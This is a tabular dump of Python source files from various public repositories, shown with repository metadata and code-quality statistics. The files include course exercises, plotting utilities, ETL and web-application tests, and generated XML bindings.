hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9298357a4dc62d29858ed4860ad34b7ba0fc46df | 201 | py | Python | Week 6/Exercises/exceptions.py | diegoamato/CS50x-Harvard | 68088df4b8e28660c3db2217053fb9bc0ec1b0e6 | [
"MIT"
] | 1 | 2022-03-02T21:08:05.000Z | 2022-03-02T21:08:05.000Z | Week 6/Exercises/exceptions.py | diegoamato/CS50x-Harvard | 68088df4b8e28660c3db2217053fb9bc0ec1b0e6 | [
"MIT"
] | null | null | null | Week 6/Exercises/exceptions.py | diegoamato/CS50x-Harvard | 68088df4b8e28660c3db2217053fb9bc0ec1b0e6 | [
"MIT"
] | null | null | null | try:
x = int(input("X: "))
except ValueError:
print("That is not an int!")
exit()
try:
y = int(input("Y: "))
except ValueError:
print("That is not an int!")
exit()
print (x + y) | 18.272727 | 32 | 0.552239 | 31 | 201 | 3.580645 | 0.419355 | 0.144144 | 0.378378 | 0.45045 | 0.702703 | 0.702703 | 0.702703 | 0.702703 | 0.702703 | 0 | 0 | 0 | 0.263682 | 201 | 11 | 33 | 18.272727 | 0.75 | 0 | 0 | 0.727273 | 0 | 0 | 0.217822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.272727 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2b8bd28ce04b5fd4acf0cc41262eab11cebbc67a | 100 | py | Python | soccer_geometry/src/soccer_geometry/__init__.py | utra-robosoccer/soccerbot | f5e95b00356e42cdd143ab26f67f23c9cd8afd5a | [
"BSD-3-Clause"
] | 56 | 2016-12-25T22:29:00.000Z | 2022-01-06T04:42:00.000Z | soccer_geometry/src/soccer_geometry/__init__.py | utra-robosoccer/soccerbot | f5e95b00356e42cdd143ab26f67f23c9cd8afd5a | [
"BSD-3-Clause"
] | 244 | 2021-04-05T03:22:25.000Z | 2022-03-31T16:47:36.000Z | soccer_geometry/src/soccer_geometry/__init__.py | utra-robosoccer/soccerbot | f5e95b00356e42cdd143ab26f67f23c9cd8afd5a | [
"BSD-3-Clause"
] | 7 | 2017-01-24T23:38:07.000Z | 2022-01-19T16:58:08.000Z | from soccer_geometry.transformation import Transformation
from soccer_geometry.camera import Camera
| 33.333333 | 57 | 0.9 | 12 | 100 | 7.333333 | 0.5 | 0.227273 | 0.409091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 100 | 2 | 58 | 50 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
920225d0654e6ffe227c0453cac77689989d81bd | 5,897 | py | Python | pyda/utilities/AssimilationVis.py | hickmank/pyda | 7a2f04bd752e9c75bc8dcd2a45b21ff549736fa6 | [
"Apache-2.0"
] | 7 | 2015-03-04T02:33:21.000Z | 2020-11-30T22:10:40.000Z | pyda/utilities/AssimilationVis.py | lastproxy/pyda | 7a2f04bd752e9c75bc8dcd2a45b21ff549736fa6 | [
"Apache-2.0"
] | 10 | 2015-04-06T08:01:37.000Z | 2017-04-25T03:12:35.000Z | pyda/utilities/AssimilationVis.py | lastproxy/pyda | 7a2f04bd752e9c75bc8dcd2a45b21ff549736fa6 | [
"Apache-2.0"
] | 4 | 2017-10-31T10:29:06.000Z | 2021-11-09T21:02:54.000Z | # Module of functions for different visualizations of a data
# assimilation process.
import numpy as np
import matplotlib.pyplot as plt
# NOTE: This visualization assumes that the data being assimilated is
# a scalar. Uses percentile (100.0*Quantile) cone visualization as
# opposed to trajectory visualization. Th... | 35.957317 | 101 | 0.655079 | 737 | 5,897 | 5.227951 | 0.233379 | 0.059175 | 0.022839 | 0.024916 | 0.818583 | 0.810278 | 0.810278 | 0.802751 | 0.802751 | 0.802751 | 0 | 0.046351 | 0.191453 | 5,897 | 163 | 102 | 36.177914 | 0.761745 | 0.383585 | 0 | 0.714286 | 0 | 0 | 0.055539 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0 | 0.028571 | 0 | 0.057143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a6179f4603c9a826fe1c415a8c702ef5146911ea | 5,325 | py | Python | make_dataset_list.py | rajahaseeb147/Alzheimers_final | dd9b8607ec47b4317cb139e8c78c3c0b3c8ca1b8 | [
"MIT"
] | null | null | null | make_dataset_list.py | rajahaseeb147/Alzheimers_final | dd9b8607ec47b4317cb139e8c78c3c0b3c8ca1b8 | [
"MIT"
] | null | null | null | make_dataset_list.py | rajahaseeb147/Alzheimers_final | dd9b8607ec47b4317cb139e8c78c3c0b3c8ca1b8 | [
"MIT"
] | null | null | null | import os, argparse
def make_list(path):
f = open(os.path.join(path, 'images.txt'), 'w')
ff = open(os.path.join(path, 'image_class_labels.txt'), 'w')
i = 0
for dirlist in os.listdir(path):
if dirlist != '.DS_Store' and dirlist != 'images_AD_CN.txt' and dirlist != 'image_class_labels_AD_CN.txt' ... | 49.305556 | 145 | 0.504977 | 679 | 5,325 | 3.78056 | 0.088365 | 0.124659 | 0.1418 | 0.093494 | 0.923257 | 0.923257 | 0.920919 | 0.91118 | 0.886249 | 0.886249 | 0 | 0.011598 | 0.3523 | 5,325 | 108 | 146 | 49.305556 | 0.732676 | 0 | 0 | 0.813725 | 0 | 0 | 0.197709 | 0.106834 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009804 | false | 0 | 0.009804 | 0 | 0.019608 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a6b8e8dd3dce2838c263288c2fa3e58405e5915a | 812 | py | Python | pyNastran/dev/bdf_vectorized/test/all_tests.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 293 | 2015-03-22T20:22:01.000Z | 2022-03-14T20:28:24.000Z | pyNastran/dev/bdf_vectorized/test/all_tests.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 512 | 2015-03-14T18:39:27.000Z | 2022-03-31T16:15:43.000Z | pyNastran/dev/bdf_vectorized/test/all_tests.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 136 | 2015-03-19T03:26:06.000Z | 2022-03-25T22:14:54.000Z | from pyNastran.dev.bdf_vectorized.test.test_coords import *
from pyNastran.dev.bdf_vectorized.test.test_mass import *
from pyNastran.dev.bdf_vectorized.cards.elements.solid.test_solids import *
from pyNastran.dev.bdf_vectorized.cards.elements.shell.test_shell import *
from pyNastran.dev.bdf_vectorized.cards.elements.r... | 47.764706 | 78 | 0.82266 | 116 | 812 | 5.517241 | 0.267241 | 0.203125 | 0.25 | 0.296875 | 0.725 | 0.725 | 0.715625 | 0.6 | 0 | 0 | 0 | 0 | 0.077586 | 812 | 16 | 79 | 50.75 | 0.854473 | 0.477833 | 0 | 0 | 0 | 0 | 0.019139 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
a6f00d43676b038d565442cb30978b08a0848924 | 91,968 | py | Python | src/core/util.py | MathieuRita/Dialog | f53afbc019103131417d775676061a7060c5fdf2 | [
"MIT"
] | null | null | null | src/core/util.py | MathieuRita/Dialog | f53afbc019103131417d775676061a7060c5fdf2 | [
"MIT"
] | null | null | null | src/core/util.py | MathieuRita/Dialog | f53afbc019103131417d775676061a7060c5fdf2 | [
"MIT"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Union, Iterable, List, Optional, Any
import sys
import random
import argparse
import torch
import numpy as np
from collect... | 42.245292 | 195 | 0.580767 | 11,461 | 91,968 | 4.485472 | 0.042056 | 0.049603 | 0.016262 | 0.009415 | 0.857162 | 0.83843 | 0.830649 | 0.821351 | 0.815204 | 0.810885 | 0 | 0.024407 | 0.328636 | 91,968 | 2,176 | 196 | 42.264706 | 0.808192 | 0.231287 | 0 | 0.775701 | 0 | 0 | 0.024052 | 0.008805 | 0 | 0 | 0 | 0 | 0.018692 | 1 | 0.02648 | false | 0 | 0.006231 | 0 | 0.060748 | 0.001558 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
471afa24e010cbe32646c5ae740fefa47969e2eb | 8,656 | py | Python | tests/hadoop-etl/test/compression_types.py | mace84/script-languages | d586cbe212bbb4efbfb39e095183729c65489360 | [
"MIT"
] | 6 | 2019-01-09T11:55:15.000Z | 2021-06-25T19:52:42.000Z | tests/hadoop-etl/test/compression_types.py | mace84/script-languages | d586cbe212bbb4efbfb39e095183729c65489360 | [
"MIT"
] | 65 | 2018-12-12T08:40:38.000Z | 2022-02-28T09:19:45.000Z | tests/hadoop-etl/test/compression_types.py | mace84/script-languages | d586cbe212bbb4efbfb39e095183729c65489360 | [
"MIT"
] | 9 | 2018-11-23T08:59:09.000Z | 2020-02-04T12:56:35.000Z | #!/usr/bin/env python2.7
# encoding: utf8
import os
import sys
sys.path.append(os.path.realpath(__file__ + '/../../../lib'))
sys.path.append(os.path.realpath(__file__ + '/../../lib'))
import udf
import utils
import datagen
import hadoopenv
class TestDeflate(utils.HiveTestCase):
hive_file_format = 'textfile'
... | 50.619883 | 120 | 0.582255 | 975 | 8,656 | 5.009231 | 0.106667 | 0.094595 | 0.077396 | 0.094595 | 0.950246 | 0.950246 | 0.950246 | 0.950246 | 0.936323 | 0.936323 | 0 | 0.057617 | 0.22805 | 8,656 | 170 | 121 | 50.917647 | 0.673301 | 0.00439 | 0 | 0.8 | 0 | 0 | 0.441567 | 0.081256 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.16 | 0 | 0.61 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
5b34f922a63445dbd5f1ef8add2511a25d56ca22 | 75 | py | Python | gpscript/__init__.py | OBITORASU/gpscript | 43da61b383bbc686c5b50efb8cadbd3a75c8c93f | [
"MIT"
] | null | null | null | gpscript/__init__.py | OBITORASU/gpscript | 43da61b383bbc686c5b50efb8cadbd3a75c8c93f | [
"MIT"
] | null | null | null | gpscript/__init__.py | OBITORASU/gpscript | 43da61b383bbc686c5b50efb8cadbd3a75c8c93f | [
"MIT"
] | 1 | 2021-11-11T13:28:39.000Z | 2021-11-11T13:28:39.000Z | from gpscript.gpscript import install
from gpscript.gpscript import lists
| 18.75 | 37 | 0.853333 | 10 | 75 | 6.4 | 0.5 | 0.375 | 0.625 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12 | 75 | 3 | 38 | 25 | 0.969697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
5b39d2e3010510a13e3c28522a7d4c40528ea650 | 7,649 | py | Python | dfirtrack_main/tests/system/test_system_views.py | blackhatethicalhacking/dfirtrack | 9c2e13015291f2981d14d63c9683e7c447e91f3a | [
"MIT"
] | 4 | 2020-03-06T17:37:09.000Z | 2020-03-17T07:50:55.000Z | dfirtrack_main/tests/system/test_system_views.py | blackhatethicalhacking/dfirtrack | 9c2e13015291f2981d14d63c9683e7c447e91f3a | [
"MIT"
] | null | null | null | dfirtrack_main/tests/system/test_system_views.py | blackhatethicalhacking/dfirtrack | 9c2e13015291f2981d14d63c9683e7c447e91f3a | [
"MIT"
] | 1 | 2020-03-06T20:54:52.000Z | 2020-03-06T20:54:52.000Z | from django.contrib.auth.models import User
from django.test import TestCase
from django.utils import timezone
from dfirtrack_main.models import System, Systemstatus
import urllib.parse
class SystemViewTestCase(TestCase):
""" system view tests """
@classmethod
def setUpTestData(cls):
# create use... | 37.679803 | 117 | 0.645705 | 848 | 7,649 | 5.619104 | 0.087264 | 0.058762 | 0.049108 | 0.07723 | 0.863379 | 0.831899 | 0.820357 | 0.812382 | 0.750052 | 0.742497 | 0 | 0.0135 | 0.234933 | 7,649 | 202 | 118 | 37.866337 | 0.800752 | 0.126422 | 0 | 0.494382 | 0 | 0 | 0.161938 | 0.024076 | 0 | 0 | 0 | 0 | 0.179775 | 1 | 0.191011 | false | 0.146067 | 0.05618 | 0 | 0.258427 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
5b4572868f52eea5f1a594a5924fd167df7d487c | 12,911 | py | Python | murano_tempest_tests/tests/api/application_catalog/test_services_negative.py | zhur0ng/murano-tempest-plugin | c70cda4dc7b8208252e9741a96acba9fb6a5c6e9 | [
"Apache-2.0"
] | 6 | 2017-10-31T10:37:17.000Z | 2019-01-28T22:05:05.000Z | murano_tempest_tests/tests/api/application_catalog/test_services_negative.py | zhur0ng/murano-tempest-plugin | c70cda4dc7b8208252e9741a96acba9fb6a5c6e9 | [
"Apache-2.0"
] | 1 | 2018-08-20T07:39:23.000Z | 2018-08-20T07:39:23.000Z | murano_tempest_tests/tests/api/application_catalog/test_services_negative.py | zhur0ng/murano-tempest-plugin | c70cda4dc7b8208252e9741a96acba9fb6a5c6e9 | [
"Apache-2.0"
] | 2 | 2018-01-11T05:08:35.000Z | 2018-08-20T07:32:33.000Z | # Copyright (c) 2016 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 47.29304 | 78 | 0.625048 | 1,283 | 12,911 | 6.007794 | 0.157443 | 0.126103 | 0.165023 | 0.177997 | 0.803321 | 0.78438 | 0.769071 | 0.746108 | 0.713285 | 0.694603 | 0 | 0.034248 | 0.271784 | 12,911 | 272 | 79 | 47.466912 | 0.785578 | 0.045155 | 0 | 0.769231 | 0 | 0 | 0.071643 | 0.046625 | 0 | 0 | 0 | 0 | 0.064103 | 1 | 0.081197 | false | 0 | 0.017094 | 0 | 0.106838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5b6c945080277d68fdf3c3dfd2f48138d6aff03f | 33 | py | Python | matchzoo/datasets/wiki_qa/__init__.py | ChrisRBXiong/MatchZoo-py | 8883d0933a62610d71fec0215dce643630e03b1c | [
"Apache-2.0"
] | 2,209 | 2018-10-15T08:31:35.000Z | 2022-03-31T14:29:11.000Z | matchzoo/datasets/wiki_qa/__init__.py | ChrisRBXiong/MatchZoo-py | 8883d0933a62610d71fec0215dce643630e03b1c | [
"Apache-2.0"
] | 398 | 2018-10-15T07:35:01.000Z | 2022-03-13T21:31:26.000Z | matchzoo/datasets/wiki_qa/__init__.py | ChrisRBXiong/MatchZoo-py | 8883d0933a62610d71fec0215dce643630e03b1c | [
"Apache-2.0"
] | 535 | 2018-10-16T09:29:02.000Z | 2022-03-31T02:12:52.000Z | from .load_data import load_data
| 16.5 | 32 | 0.848485 | 6 | 33 | 4.333333 | 0.666667 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 33 | 1 | 33 | 33 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5b6d0aa043c59ddc7b4dddce065901f23e072d6a | 57,772 | py | Python | sfof/python/euclid/dm/_sgs.py | sfarrens/sfof | f887abc0dbd1587fd7fbc7148b4704d1b5f4cdac | [
"MIT"
] | 13 | 2017-06-15T16:56:29.000Z | 2021-12-08T20:44:39.000Z | sfof/python/euclid/dm/_sgs.py | umikanero/sfof | 9aa7b09ccb12311a68373e4e516dee82fa5c428e | [
"MIT"
] | 6 | 2020-05-30T07:40:59.000Z | 2020-11-30T12:25:14.000Z | sfof/python/euclid/dm/_sgs.py | umikanero/sfof | 9aa7b09ccb12311a68373e4e516dee82fa5c428e | [
"MIT"
] | 4 | 2018-02-24T02:12:24.000Z | 2021-06-03T07:22:15.000Z | # /home/sartor/pymodule/euclid/dm/_sgs.py
# -*- coding: utf-8 -*-
# PyXB bindings for NM:77d3da8c9c0b8eec64b9957d9ec227ca99caec32
# Generated 2014-07-24 16:26:39.933073 by PyXB version 1.2.3
# Namespace http://euclid.esa.org/schema/sys/sgs [xmlns:sgs]
import pyxb
import pyxb.binding
import pyxb.binding.saxer
import io... | 60.940928 | 343 | 0.759988 | 7,471 | 57,772 | 5.696292 | 0.049525 | 0.03386 | 0.042108 | 0.062034 | 0.821111 | 0.81486 | 0.790023 | 0.784078 | 0.774632 | 0.722419 | 0 | 0.016454 | 0.112113 | 57,772 | 947 | 344 | 61.00528 | 0.813198 | 0.058506 | 0 | 0.581903 | 1 | 0.170047 | 0.259148 | 0.236556 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.032761 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f3464093094a02afe9c1bf0e30a6a43d56b40a8a | 132 | py | Python | src/bnn/util/plotting.py | beauCoker/variable_selection | 174278c81192940a3faea76b43384f25c4ba2c13 | [
"MIT"
] | null | null | null | src/bnn/util/plotting.py | beauCoker/variable_selection | 174278c81192940a3faea76b43384f25c4ba2c13 | [
"MIT"
] | null | null | null | src/bnn/util/plotting.py | beauCoker/variable_selection | 174278c81192940a3faea76b43384f25c4ba2c13 | [
"MIT"
] | 1 | 2021-03-09T18:09:31.000Z | 2021-03-09T18:09:31.000Z | # standard library imports
# package imports
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
| 16.5 | 31 | 0.795455 | 22 | 132 | 4.772727 | 0.545455 | 0.314286 | 0.247619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 132 | 7 | 32 | 18.857143 | 0.954545 | 0.30303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f362b7da68e8d6fb99b47e0733872c5765187044 | 22,328 | py | Python | manager/director/apps/sites/tests/test_actions.py | darius-kia/director4 | 1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9 | [
"MIT"
] | 7 | 2020-08-23T23:08:34.000Z | 2021-12-02T04:17:37.000Z | manager/director/apps/sites/tests/test_actions.py | darius-kia/director4 | 1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9 | [
"MIT"
] | 43 | 2020-08-24T16:48:29.000Z | 2022-03-02T19:45:54.000Z | manager/director/apps/sites/tests/test_actions.py | darius-kia/director4 | 1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9 | [
"MIT"
] | 10 | 2020-08-17T20:42:52.000Z | 2021-07-16T03:46:51.000Z | import json
import uuid
from unittest.mock import patch
from ....test.director_test import DirectorTestCase
from ....utils.appserver import AppserverConnectionError, AppserverProtocolError
from ....utils.balancer import BalancerProtocolError
from ..actions import (
build_docker_image,
create_real_site_database... | 42.368121 | 100 | 0.625672 | 2,437 | 22,328 | 5.558474 | 0.087813 | 0.059796 | 0.029972 | 0.051676 | 0.856268 | 0.828806 | 0.807988 | 0.800015 | 0.770412 | 0.76207 | 0 | 0.014413 | 0.275976 | 22,328 | 526 | 101 | 42.448669 | 0.823519 | 0.076675 | 0 | 0.686486 | 0 | 0 | 0.221569 | 0.079364 | 0 | 0 | 0 | 0 | 0.267568 | 1 | 0.045946 | false | 0.056757 | 0.021622 | 0 | 0.07027 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
f36984010b7164f634e4c41c2d22ae962eef6282 | 16,801 | py | Python | server/tests/test_apis.py | AruneshS/githubsrm | ce6ef452c0129fce369b6b8ad8b5da0ef6f44b65 | [
"MIT"
] | 1 | 2022-03-22T17:24:22.000Z | 2022-03-22T17:24:22.000Z | server/tests/test_apis.py | AruneshS/githubsrm | ce6ef452c0129fce369b6b8ad8b5da0ef6f44b65 | [
"MIT"
] | null | null | null | server/tests/test_apis.py | AruneshS/githubsrm | ce6ef452c0129fce369b6b8ad8b5da0ef6f44b65 | [
"MIT"
] | null | null | null | import os
from dotenv import load_dotenv
import requests
import pymongo
import unittest
import json
from githubsrm.core.settings import DATABASE
from . import Base
entry = Base()
class TestClient(unittest.TestCase):
'''
Integration tests
'''
@classmethod
def setUpClass(cls) -> None:
